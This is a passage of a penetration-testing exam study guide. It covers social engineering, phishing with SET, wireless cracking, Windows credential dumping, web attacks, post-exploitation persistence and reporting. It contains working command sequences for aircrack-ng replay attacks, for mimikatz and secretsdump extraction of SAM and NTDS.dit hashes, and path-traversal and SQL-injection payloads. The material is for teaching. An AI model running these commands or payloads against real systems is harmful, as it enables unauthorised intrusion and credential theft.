Techniques • Social Engineering o Target Eval o Pretext/Pretexting (back story and context) o Psychological Manipulation o Building Relationships o Motivations ▪ Authority ▪ Scarcity ▪ Urgency ▪ Social Proof ▪ Likeness ▪ Fear o Impacts • USB Drop o In a test by a university a USB drop showed the following stats: ▪ 297 Drives Dropped ▪ 45% Phoned Home o Build by loading a USB drive using: ▪ Autorun.inf ▪ Embedded malware in documents, binary etc. ▪ Use a HID attack (see Rubber Ducky) o Make them attractive ▪ Use themed drives ▪ Add logos ▪ Add labels ▪ Add keys o Think about there they are placed o Task: Place a malicious Binary on a USB drive: ▪ Example: use msfvenom to create a payload ▪ Demo this connecting to a listener • Physical Attacks • RFID Attacks • Phishing o Phishing Types

PUBLIC – Version 0.3 Copyright Xservus Limited Page 35 Penetration Testing ▪ Email (Phishing) ▪ SMS (SMISHING) ▪ Phone (Vishing) ▪ Social Media ▪ Pharming ▪ Spear Phishing/Whaling/Gaming/Live Chat ▪ Physical Phishing o Social Engineering Toolkit (SET) o Evilginx o GoPhish • Lockpicking • Motion Sensors • Alarms

Phishing Task Task: Use Social Engineering Toolkit to demo a PISHING attempt using the credential harvester method to clone a site. Send a phishing email to yourself on a sperate account using a public email service like outlook.com or google mail.

Physical Attacks Physical Controls • Conduct Recon • Dumpster Dive • Visit the target • Photograph the Target • Deliver an implant • Steal a Device • Steal badges/ID • Fences • Gates • Tailgating • Lockpicking • Look for ways to bypass controls

Door Access Controls • Compressed Air/Vapes/Paper to bypass motion sensory or magnetic locks • Reach Around/Under • Lockpicks

PUBLIC – Version 0.3 Copyright Xservus Limited Page 36 Penetration Testing Enumeration, Vulnerability Identification Picking a vulnerability scanning • Opens Source vs Commercial • On Premises vs Cloud • Documentation and Outputs Tooling • Golismero • Sparta • OPENVAS • Kali o Nmap o Nikto • Nessus • Qualys • Rapid7 Nexpose Picking a vulnerability scanning Tool Open source vs Commercial • Pick one to suit your business requirements • Consider features • Look at false positive rates • Look at reporting and output formats etc. • Scope of features

Cloud vs On Premises • Pick solutions to fit your requirements • Do you need to test air gapped networks? • Ensure plugins are up to date

Interpreting Output Asset Categorisation • The act of grouping assets o Organization/Defender View o “Pentester” View Adjudication The act of going through and evaluating the threat those pose to the target organisation. False Positives When a service is incorrectly identified as being vulnerable when it is in fact, not vulnerable. Common Themes Conditions that re-occur all the time such as:

• Behaviour Patterns • Naming standard patterns PUBLIC – Version 0.3 Copyright Xservus Limited Page 37 Penetration Testing • Policies being ignored • Weak physical security • Inadequate Training • Weak security configurations • Poor Software development practises • Insecure network protocols (e.g. TELNET, FTP) • Obsolete cryptography Prioritization Ranking vulnerabilities in terms of priority for exploitation/impact and/or remediation.

Mapping & Prioritisation • Mapping customer assets and relationships • Mapping processes, people, activities etc. • Consider times of events, activities etc.

Creating a ‘picture’ of the attack surface landscape.

Attack Techniques • Denial of Service Attack • Hijacking • Man-in-The-Middle • Credential reuse • Password Attacks • Social Engineering • Injection

Techniques • Social Engineering • Planting a Device/Implant • Remote Access • Wireless Attacks • Conspiring with an internal threat actor

PUBLIC – Version 0.3 Copyright Xservus Limited Page 38 Penetration Testing Exploits & Payloads Exploit An exploit is the action/mechanisms to exploit a vulnerability (e.g. Unauthenticated RCE, Path Traversal, Code Injection) Payload A payload is the code that will run on the target e.g.

• Meterpreter Staged vs Upstaged Payloads A staged payload is small payload which downloads the full payload.

An untagged payload simply runs following the exploit.

Cross Compiling Code

Exploit Modification • Debugging • Shell Code creation Exploit Chaining The act of chaining multiple exploits together.

Proof of Concepts An exploit that is created to highlight and validate a vulnerability and exploit chain.

Deception Tactics • Creating a distraction o Social Engineering o Other Attacks o Distracting event

Password Attacks • Brute Force • Wordlists • Hybrid • Rainbow Tables

PUBLIC – Version 0.3 Copyright Xservus Limited Page 39 Penetration Testing Network Penetration Testing Attacks Ethernet & TCP/IP Networks • Sniffing o Network cards including Wireless cards must be in promiscuous mode o TPC, IP, ARP, ICMP, IGMP, LDAP, SNMP, SMTP, SMB, FTP DNS DHCP, POP3, IMAP, UDP, and HTTP can all be sniffed (any cleartext protocol) • Eavesdropping • ARP Poisoning o The act or sending our AC address out identifying as the default gateway to route traffic through our host ▪ IP forwarding ▪ DNS Poisoning ▪ Ettercap • TCP Session Hijacking o The user/machine must have authenticated before o Requires a clear text protocol (e.g. TELNET/RLOGIN) o Increasing TCP sequence numbers must be detected and guest (they are pseudo random) o Signing is not in use (e.g. SMB singing is not ENABLED) o ARP Poison o Send FIN packets to the target to disconnect the client o Requires you to spoof IP and MA o Tools include: ▪ Tsight ▪ Juggernaut ▪ Hunt • Browser Hijacking o Cookie Sniffing (ARP Poison and HTTP session theft o Session Fixation (Cookie is assigned before authentication) o Failure to timeout the cookie of destroy the session o Predictable sessions token o Cross Site Scripting (XSS) o Session Variable Overloading • Man-in-the-middle (MiTM) Attacks • Brute force Attacks o Brute Force o Dictionary o Tools ▪ Aircrack-ng ▪ THC-Hyrda ▪ Medusa ▪ Patator ▪ John-The-Ripper

PUBLIC – Version 0.3 Copyright Xservus Limited Page 40 Penetration Testing ▪ Cain and Abel ▪ Hashcat ▪ L0phtcrack ▪ 0phtcrack ▪ Metasploit • Denial of Service and Load Testing o Deny Service o Fail Open • Pass-The-Hash o Requires us to get a copy of the NTLM/NTLMv2 HASH (not netNTLM) • VLAN Hopping o MAC Table Overflow o Trunk Ports ▪ Switch ▪ Client Side o Tools ▪ Frogger

Network Protocol Exploits SMB Has been exploited for a long time!

• MS06-087 • EternalBlue (MS17-010) • Eternal Romance • Eternal Champion • Eternal Synergy SNMP • Community String Defaults (v1 & v2) o Public o Private • Tools o Hydra o Medusa o nmap o BOF o Metasploit FTP • Tools o Hydra o Medusa o Nmap DNS • DNS Cache Poisoning o Tools PUBLIC – Version 0.3 Copyright Xservus Limited Page 41 Penetration Testing ▪ Ettercap ▪ Metasploit ▪ DNSChef ▪ ArpPwner Name Resolution • NETBIOS • WINS • HOST Files • LLMNR Poisoning o Tools ▪ Responder • Name Resolution Process (https://support.microsoft.com/en-gb/help/172218/microsoft- tcp-ip-host-name-resolution-order) o check hostname o check hosts file o checks DNS o sends NETBIOS broadcast

Wireless Networks Tools • Aircrack-ng • WIFI Pumpkin • Wifi Pineapple Attacks and Techniques • Wireless Sniffing • WAP • Replay • WEP • Fragmentation o PRGA Attack • Jamming o Check the legality of running this attack o De-Auth o Tools ▪ Wifi Jammer Python Script ▪ Aircrack-ng ▪ Wireless Pineapple • Tools o Aircrack-ng • Evil Twins o Creation of an attacker owned network with the same SSID as the target environment o To detect use Wigle, Kismet, Airmon-ng etc. ▪ Tools • Wifi Pineapple PUBLIC – Version 0.3 Copyright Xservus Limited Page 42 Penetration Testing • WPS Attacks o WPS uses 7 characters o It only checks the first 4 digits before checking the last 3 o The time to crack is very small • Bluetooth o Bluejacking Attacks (around 30 feet range) ▪ Transmit images, messages, videos etc. ▪ Send contacts with spoofed contact names (the target sees the spoofed name as a message) ▪ Can be used in connection with phishing/cred harvesting etc. o BlueSnarfing ▪ Gather data ▪ OBEX Push Profile (OPP) ▪ OBEX GET ▪ Get files such as contacts etc. o Lab Activities • WAP Replay Attack • WPA2 Cracking • IRL: Bettercap Replay Steps airmon-ng check kill #enable monitor mode (promiscuous) airmon-ng start wlan0 airodump-ng wlan0mon #Find a WPA network to replay airodump-ng –bssid BSSIDMAC -c 6 –write output wlan0mon #start the replay attack by authenticating (-1 = fake authentication) aireplay-ng -1 0 -a BSSIDMAC -e SSIDName wlan0mon #send ARP requests (type3) aireplay-ng -3 -b BSSIDMAC wlan0mon aireplay-ng -1 0 -a BSSIDMAC -e SSIDName wlan0mon # this attack takes some time and requires other clients #now we crack the hashes aircrack-ng -b BSSIDMAC output-01.cap

Fragmentation Attacks airmon-ng check kill aireplay-ng -5 -b BSSIDMAC -e SSIDName -h SOURCEMAC wlan0 –write output packetforce-ng -0 -a BSSIDMAC -h SOURCEMAC -y output-01.cap -w prgaOutput aireplay-ng -r prgaOutput wlan0 Aircrack-ng #enable monitor mode airmon-ng #enumerate #kill network management services airmon-ng check kill PUBLIC – Version 0.3 Copyright Xservus Limited Page 43 Penetration Testing #enable monitor mode airmon-ng start wlan0 #monitor airodump-ng wlan0mon #run with output saved (csv, pcap etc.) airodump-ng wlan0mon -w pwnWIFI #RUN Airodump Scan Visualizer - https://github.com/pentesteracademy/airodump-scan-visualizer #Load the CSV

Specialist Systems Mobile Systems • Android • IOS Industrial Control Systems (ICS) and SCADA (supervisory control and data acquisition) ICS • Control Physical Devices • Tools o ICSExploit SCADA Supervisory control and data acquisition

• SCADA Manages ICS Embedded Systems • Industrial Systems Real -Time OS’s (RTOS) Often does not include security features. Internet of Things (IoT) Mirai botnet created from DVRs and Baby Monitors etc.

• Buffer Overflows • Command Injection • SQL injection • Syn Floods etc. Point of Sale Systems • Tablets • Custom Devices • Payments taken (so PCI-DSS may be in scope) • Some powered by PIs etc.

PUBLIC – Version 0.3 Copyright Xservus Limited Page 44 Penetration Testing

Host based Exploitation Exploiting hosts includes systems which include:

• Windows • UNIX/LINUX (NIX) • MAC OSD (BSD Based) • Android • IOS

Linux Package Managers • Apt (Debian/Unbuntu) - Advanced Packaging Tool • Aptitude Package Manager (Debian/Ubuntu) (this is different to apt in that it’s a GUI) • Dpkg (Debian/Ubuntu) • yum (CENTOS) -Yellowdog Updater, Modified • yast (SUSE) • RPM (REDHAT LINUX) - Redhat package manager) • Pacman (Arch Linux)

Windows Systems and Vulnerabilities • Windows is written in a language based on C (this has no bounds checking which can lead to vulnerabilities) • Requires developers to code securely • Closed Source (Source code is private) • Windows 10 is > 50 million lines of code • Reliant on Vendor for Patching (however 3rdn party micro patching is a thing) Types of Vulnerability • Remote Code Execution • Buffer/Overflow • Denial of Service (DoS) • Memory Corruption • Privilege Escalation • Information Disclosure • Security Feature Bypasses (e.g. UAC Bypass) Web Application Vulnerabilities • Cross Site Scripting (XSS) • Directory Traversal • XSRF (Cross site request forgery)

Go and see the OWASP top 10 https://owasp.org/www-project-top-ten/

PUBLIC – Version 0.3 Copyright Xservus Limited Page 45 Penetration Testing Common Windows Exploit Examples These are old vulnerabilities which might be useful for the exam, but it’s also good to know the history of common vulnerabilities:

• IIS 5.0 Unicode • IIS 5.0 WebDAV • RPC DCOM (MS08-067) Buffer Overflow RCE using RPC • SMB NetAPI • Null sessions • LM password hash weaknesses

More modern examples • MS17-010 (Eternal Blue etc.) • CVE-2018-8120 (https://www.rapid7.com/db/modules/exploit/windows/local/ms18_8120_win32k_prive sc) • RDP Brute Force • ALPC Task scheduler Privilege Escalation (Cve-2019-0841) • Extraction of GPP Passwords • Extraction of passwords from unattended installation files

Dumping Hashes & Password Cracking • Hashes (stored in SAM database) • SYSKEY (Stored in the registry) • Active Directory Passwords o Stored in NTDS.DIT ▪ MD4 (NT hash) ▪ LM ▪ DES_CBC_MD5 ▪ AES256_CTS_HMAC_SHA1 ▪ MD5 (WDIGEST) ▪ Reversable Encrypted Clear Text Password • Certificates • Kerberos Tickets • LSA Secrets

Techniques • Steal creds from files (e.g. GPP, SYSPREP) • Dump creds form running processes • Dump processes from memory (Hibernation files, VM memory files) • Dump creds from SAM • Dump creds from registry • Dump from NTDS.dit • Domain Controller Replication (Mimikatz/Impacket) • Keylogging • Social Engineering

PUBLIC – Version 0.3 Copyright Xservus Limited Page 46 Penetration Testing

Windows Credential Dumping Dump the SAM Registry export Reg save hklm\sam samreg.hiv Reg sve hklm\security securityreg.hiv #read these using mimikatz Mimikatz.exe lsadump::sam samreg.hiv securityreg.hiv

Think about running mimikatz on an attacker owned system to avoid dropping to disk or being detected/having to disable antivirus

Dumping Passwords Live (run as admin)

Dump LogonPasswords Mimikatz.exe #enable debug privs Priviledge::debug #log to a file Log mimilog.log #dump logon passwords/hashes sekurlsa::logonpasswords Dump SAM File Kerberos Tickets Mimikatz.exe #enable debug privs Priviledge::debug #log to a file Log mimilog.log #dump logon passwords/hashes token::elevate lsadump::sam samreg.hiv securityreg.hiv Dumping NTDS.DIT Note: Here we need to create a COPY of ntds.dit (using shadowcopy, NTDS util or NinjaCopy etc. or you can take this from a backup) https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-NinjaCopy.ps1

#Copy the NTDS file and SYSTEM files from the target #example of NTDSutil ntdsutil.exe 'ac i ntds' 'ifm' 'create full c:\temp' q q #Extract hashes using PowerSploit Get-ADDBAccount -All -DBPath ‘ntds.dit’ -BootKey SYSTEM #Extract using Impacket impacket-secretsdump -system SYSTEM -security SECURITY -ntds ntds.dit local

PUBLIC – Version 0.3 Copyright Xservus Limited Page 47 Penetration Testing Common nix Vulnerabilities • Based on C • Open Source but development is inconsistent • Linux and Android allow sideloading • Common Vulnerabilities o POODLE o Heartbleed o XSS/XSRF o SQL Injection o SMB Overflows o Enumeration

LINUX • GNU is an operating system • Linux is a KERNEL (A component of the OS)

Common Exploits https://www.exploit-db.com/

• RET2LIBC • DirtyCow (Copy on Write) • Five Year Bug (2009) • Remote Root Flaw • Insecure SUDO configuration • Insecure SUDO binaries • Sticky bits • SUID BIT set Password Cracking for LINUX Credentials are stored

• /etc/passwd • /etc/shadow

On older linux distros they were just stored in cleat text in /etc/passwd

• Tools: Unshadow can be used • Meterpreter: hashdump • Mimipenguin (memory dump) • Password Hashes can be passed as well e.g. SAMBA • Key Logging

Password Hash Types (NIX)

$1 = MD5

$2a = Blowfish

PUBLIC – Version 0.3 Copyright Xservus Limited Page 48 Penetration Testing $5 = SHAR-256

$6 = SHAR-512

Protocol Exploitation Windows • Unnecessary Services o IIS in Windows 2000 • SMB 1.0 (Changed in Windows 10 Anniversary Build and greater) • Domain Account Password Caching o 10 Domain Logins Cached o Default accounts ▪ Administrator (SID starting “S-1-5-21” and ending “-500”) ▪ Guest (SID starting “S-1-5-21” and ending “-501”) • Weak Default Security Logging NIX • User home permissions • World-readable and writeable directories/files • Insecure mount/export options • Service with weak default settings • Apps with weak default settings Protocols and Services Windows • Supports multiple protocols and configurations • Provides Software for most services (from Microsoft) Linux • Supports multiple protocols and configurations • Depends on 3rd parties

LAB Activity Windows • Install windows roles and features o Install IIS o Install NFS Linux • Install Apache2 • Install Terminator Exploitation Windows 7 • Exploit MS17-010 in the lab using Metasploit • Exploit MS17-010 in the lab using python exploit

PUBLIC – Version 0.3 Copyright Xservus Limited Page 49 Penetration Testing File Permissions and Exploitations Windows • File Permissions (ACLS) • Share Permissions • Alternate Data Steams (ADS) o Files have two steams ▪ Data ▪ Resource (You can hide data in ADS e.g. you could hide a binary inside a txt file) • Unquoted Service Path Privilege Escalation o Metasploit o PowerSploit • DLL Hijacking • NTFS Encryption Bypass • SAM/SYSKEY offline attakcs • EFS o Copying EFS to a network share will decrypt them • Bitlocker Exploits Linux • Insecure Permissions • Sticky BIT • SUID BIT • GUID BIT • Symbolic Link/Broken Symbolic Link Exploitation • Secure Shell Escapes Linux Sensitive Files • /etc/profile • /etc/hosts • /etc/resolv.conf • /etc/pam.d • ~/.bash_profile • ~/.bash_login • ~/.profile • /home Resources https://gtfobins.github.io/

Kernel Vulnerabilities and Exploits • Privilege Escalation • DoS

Memory Vulnerabilities • RCE PUBLIC – Version 0.3 Copyright Xservus Limited Page 50 Penetration Testing • DoS • Common Vulns o Use-After-Free o Buffer Overflow

Default Accounts Windows • Administrator • Guest • KRBTGT • DefaultAccount • WDAGUtility • Defaultuser() Linux (nix) /etc/passwd

• root • adm • nobody • sshd • lp • uucp

Sandboxes Windows • Guest • Low Priv Users (e.g. IIS_USR) • Virtual Machines • Browser Sandboxes • Adobe Flash Sandbox • Containers o Docker o Hyper-V Containers • Mobile Apps • PDF and Documents • Antivirus Quarantine Features • Defender SmartScreen • Mail Program Sandboxes Escape Techniques • Sleeps • Large Files • Polymorphic Malware • Rootkits/bootkits • Encryption

PUBLIC – Version 0.3 Copyright Xservus Limited Page 51 Penetration Testing • Logic Bombs • Archive Tools • Binary Packers • Network Fast Flux (Rotating IPs or jumping hosts) • Sandbox Detection/Evasion

MAC OS & IOS OS X is based on BSD (unix) https://www.cvedetails.com/product/156/Apple-Mac-Os-X.html?vendor_id=49

• IOMobileFrameBuffer (IOS) High Sierra o Root access with NO password • Mactans o USB attack • Jailbreaking IOS o Keyraider • Thunderstrike o Thunderbolt bootkit (OS 10 firmware device) • iCloud API vulnerabilities • MaControl Backdoor (OS X) • Graphic Driver Vulnerability (IOS)

Android • Theft • Lack of Encryption • Side-Loading Aps • Root devices • Weak or No Passwords • Biometric Bypass • SQLLite Injection • Excessive App Permissions • Insure application communications • No or disabled security tools e.g. Antivirus • Missing Patches/Out of Date Software • QuadRooter o Qualcom Chipset Vulnerability • Certifi-Gate mRST flaw o Allows sideloading (

PUBLIC – Version 0.3 Copyright Xservus Limited Page 52 Penetration Testing Physical Attacks • Unencrypted Storage • Cold Boot Attacks o Recover keys from RAM • Insecure Serial Console (with no authentication) • JTAG Access/Debugging

Common Cracking Tools • Hashcat o Windows o Linux • John The Ripper (John)

PUBLIC – Version 0.3 Copyright Xservus Limited Page 53 Penetration Testing Attacking Applications and Web Applications Common Protocols & Languages

• HTTP • HTTPS • HTML • Javascript • SQL Databases • Frameworks o Node.js o Angular o Django • Python • ASP/ASP.NET • PHP

Common Web Application Vulnerabilities • Weak security configurations (misconfigurations) • INJECTION • Broken Authentication • XSS • CSRF • Clickjacking • File inclusion • Weak coding practises Common Misconfigurations • Rolling your own encryption • Legacy content • Debugging Modes Enabled • Unpatched Vulnerabilities/Using software with known vulnerabilities • Client-side processing • Default admin accounts • Insecure cookies • Directory Traversal o Read or execute o E.g. ../../../etc/passwd o E.g. %2E%2E%2F/Windows/System32/cmd.exe o Double Encoding ▪ %25 = % • %25E%25E%25FWindows/System32/cmd.exe • Null byte encoding %00 • E.g. index.php?file=../../etc/passwd%00 o Test using ▪ BURP ▪ OWASP ZAP

PUBLIC – Version 0.3 Copyright Xservus Limited Page 54 Penetration Testing

LAB Tasks • Test out BURP • Test out OWASP ZAP • Try manual identification of a path traversal

PUBLIC – Version 0.3 Copyright Xservus Limited Page 55 Penetration Testing Common Web Application Attacks Authentication & Authorisation Attacks • Brute Force • Credential Stuffing • Weak Passwords • Session Hijacking • MiTM • XSS Cookie Theft • Bypass Authentication • Redirection Attack • ReturnURL attack (asp.net) • HTTP Parameter Pollution (HPP) • IDOR

Injection Attacks • Command Injection • SQLi o Test using “’” in a form POST/GET request o Logic injection: “’ or 1=1--; HTML Injection Inject HTML code e.g. inject links inject or embedded forms (e.g. clickjacking) into areas such as forums etc. Cross Site Scripting (XSS) There are a few types of XSS:

• Stored (persistent) • Reflected (reflects then executes) • Blind • DOM-based

An example of XSS = alert(‘This site is vulnerable to XSS!’); Cross Site Request Forgery (XSRF) Getting a user to interact with a URL against another site e.g. user visits phishing site, they click on a link to the benign site, but an unwanted action occurs. E.g. adding extra quantities of items to a shopping basket. Clickjacking Setting up an iframe on a malicious site to embed content to masquerade as a site. Can be used with phishing or social engineering.

Other Vulnerabilities/Exploits • File Inclusions

PUBLIC – Version 0.3 Copyright Xservus Limited Page 56 Penetration Testing • Local File Inclusion • Remote File Inclusion • Insecure Direct Object Reference (IDOR) • Logic Errors • Timing Issues (Race Conditions) • No Error handling • Insecure Functions • Insecure APIs • Insecure Credential Storage/Transmission • Sensitive Information Disclosure Lab Work • Learn to use SQLMAP • Run SQLMAP through BURP to understand how it works • Run a manual authentication bypass using SQL injection • Test manual exploitation using union selects • Test path traversal to read /etc/passwd • Demonstrate a self-reflected XSS alert • Demonstrate a stored XSS alert • Demonstrate using a stored XSS using BEEF

PUBLIC – Version 0.3 Copyright Xservus Limited Page 57 Penetration Testing Source Code analysis and Compiled Apps Static Code Analysis Source code review while it’s not executing

• Manual Source Code Review • Tool based review (SAST – Static Analysis Security Testing)

Dynamic Code Analysis • Dynamic (DAST)

Fuzzing Fault injection. Random data is sent to the apps looking for crashes or unexpected responses.

Reverse Engineering • Debugging o Immunity o Ghidra o WinDbg o OllyDbg o GDB o IDA/IDA Pro • Decompiling o Reverse the compiled binary and converting it to source code ▪ Hex-Rays IDA ▪ VB Decompile ▪ Delphi Decompiler ▪ CFF Explorer ▪ JetBrains DotPeek • Disassembly o Translating machine code into Assembly Code

PUBLIC – Version 0.3 Copyright Xservus Limited Page 58 Penetration Testing Post Exploitation

Enumeration Once you have access to a target you will continue to enumerate (recon).

Lateral Movement Pivoting • NetCAT o Bind o Reverse Shells • SSH o SSHKeys o AuthorizedHosts • VPN • Routing Tables • Metasploit Forwarder

Maintaining Persistence • Create a backdoor account • Create a service/daemon • Backdoors • VPNs • Scheduled Tasks/Cron Jobs • Login scripts, Login Tasks, Start-up Tasks etc. • Rootkits o Firmware o Kernel o Filter Drivers • Implants

Evading Security Solutions & Anti-Forensics • Buffer Overflows • Memory Resident Malware • Packing • Virtual Machine Detection • Clearing Logs o Whole Log o Specific Log • Shredding Files • File Metadata Tampering • Log Tampering

PUBLIC – Version 0.3 Copyright Xservus Limited Page 59 Penetration Testing Penetration Test Reporting Key Areas • Categorisation • Prioritisation • Recommendations

Report Format • Executive Summary • Technical Findings • Recommendations

Considerations • People • Process • Technology • Customer Business Context • Customer Industry

Prioritising Findings • Likelihood • Impact • CVSS Score etc.

Authentication Recommendations • Don’t hardcode credentials in apps • Random SALT and HASH Passwords • Use strong encryption, avoid weak hashes • User secure transport e.g. do NOT use FTP, use FTPS/SFTP • Don’t use protocols that use weak ciphers • Avoid configurations that allow for downgrade attacks • Monitor unencrypted traffic

Authentication Recommendations • Use Multi-factor-authentication o Something you know o Something you have o Something you are • Smart Cards, Smart Phone Apps, Key fobs (Like Yukikey), OTP keys (RSA)

Input and Output Sanitisation • Escape characters/Encoding to stop HTML being rendered o E.g. htmlspecialchars() function of PHP

PUBLIC – Version 0.3 Copyright Xservus Limited Page 60 Penetration Testing o HTML Sanitizers (Libraries) ▪ Java HTML ▪ .NET HTML Sanitizer ▪ HTML purifier ▪ SanitizeHelper for RUBY on Rails o Convert HTML to mardown o Prevent NULL Byte by removing the input manually (for older browsers)

Parametrisation of Queries (Declared Statements) • More effective at preventing SQLi o Means the parameters are send to a pre-defined template

Hardware and Software Hardening Consider:

• Environment • Hardware • Software

Look at industry standards such as:

• CIS Controls • ISO • NIST • SANS Hardening Measures • Check with the vendor • Look at EAL/Common Criteria (Real world) • Ensure firmware and software are updated with updates from the vendor • Physical and/or network segmentation

PUBLIC – Version 0.3 Copyright Xservus Limited Page 61 Penetration Testing Mobile Device Management (MDM) • Centralised Device and App Management • Similar systems (MAM) • Centrally deploy policies MDM Features • PUSH OS, apps and firmware updates • Enrol and authenticate devices • Enforce Policies • Locate Devices • Deploy based on user profiles • Remote Wipe/Remote Lock • Send out PUSH notification • Remote Access • Deploy Containers • Encryption Control

PUBLIC – Version 0.3 Copyright Xservus Limited Page 62 Penetration Testing Secure Software Development • Should follow SDLC (Secure Software Development Lifecycle) which incorporates security throughout the entire lifecycle

Planning

Maintenance Analysis

Implementation Testing

Design

Testing • Penetration Testing • Static Code Analysis • Fuzzing • Static Code Analysis • Vulnerability Management • Dependency Management

SDLC should be:

• Clear and simple • Useful and Informative • East to incorporate • Extensible • Have as fewer dependencies as possible • Be concise • Use well-known and established techniques • Integrates with testing processes and harnesses • Aligns with business and design requirements

PUBLIC – Version 0.3 Copyright Xservus Limited Page 63 Penetration Testing Post-Report Delivery Actions • Data Normalization o Format o Structure o Language o Metrics and Measures o Risk Ratings ▪ Impact x Likelihood • Report Structure o Exec Summary o Version Control o Document Distribution o Method o Findings o Conclusion ▪ Successes ▪ Failures ▪ Goal Assessment o Supporting Evidence • Risk Appetite o How hungry are the customer for accepting risk/residual risk? ▪ Compare risk of findings vs risk appetite/tolerance levels o How much loss can be accepted? o What are acceptable levels of availability/loss of availability? • Report Storage o Encrypt at Rest o Encrypt in Transit o Access Control for authorised personnel only o Store for a specific limited amount of time • Report Handling o Destruction • Report Disposition o Formal process of transferring the report to the customer and they then become responsible for it o Sign off by the authorised recipient • Post Engagement Clean up Tasks o Removal of Access/Credentials o Removal of Tools • Acceptance • Attestation of Findings • Lessons Learned • Follow Up Actions

PUBLIC – Version 0.3 Copyright Xservus Limited Page 64 Penetration Testing Useful Exam Theory Links Microsoft Threat Modelling Step 1. Identify Assets Step 2. Create an Architecture Overview Step 3. Decompose the Application Step 4. Identify the Threats Step 5. Document the Threats Step 6. Rate the Threats https://docs.microsoft.com/en-us/previous-versions/msp-n- p/ff648644(v=pandp.10)?redirectedfrom=MSDN

IEEE 802.11 Wireless Standard https://en.wikipedia.org/wiki/IEEE_802.11

Random Stuff C2 Frameworks • Covenant • C2 • Cobalt Strike (Commercial) • Metasploit Pro • Core Impact • SharpC2

DNS Tunnelling https://tools.kali.org/maintaining-access/dns2tcp https://code.kryo.se/iodine/ https://github.com/iagox86/dnscat2

PUBLIC – Version 0.3 Copyright Xservus Limited Page 65 Penetration Testing External Resources The Cyber Mentor Courses on Udemy

https://www.thecybermentor.com/ https://twitter.com/thecybermentor HackTheBox

https://www.hackthebox.eu/ TryHackMe

https://tryhackme.com/ Pluralsight

http://pluralsight.com

PUBLIC – Version 0.3 Copyright Xservus Limited Page 66 Penetration Testing Proctored Online Exam Details https://home.pearsonvue.com/Documents/Technical-specifications/Online-Proctored/OP- Advanced.aspx

Online Practise Questions - Free https://searchsecurity.techtarget.com/quiz/CompTIA-PenTest-practice-test-questions-to-assess- your-knowledge

Ordering Exam Vouchers Vouchers Resellers http://www.gracetechsolutions.com/

Windows Vulnerabilities https://www.cvedetails.com/product/32238/Microsoft-Windows-10.html?vendor_id=26 https://www.cvedetails.com/product/739/Microsoft-Windows-Xp.html?vendor_id=26

OS X https://www.cvedetails.com/product/156/Apple-Mac-Os-X.html?vendor_id=49

Resources & Useful Links UAC Bypasses https://medium.com/@z3roTrust/bypassing-windows-user-account-control-back-for-more- dd5672c48600

PUBLIC – Version 0.3 Copyright Xservus Limited Page 67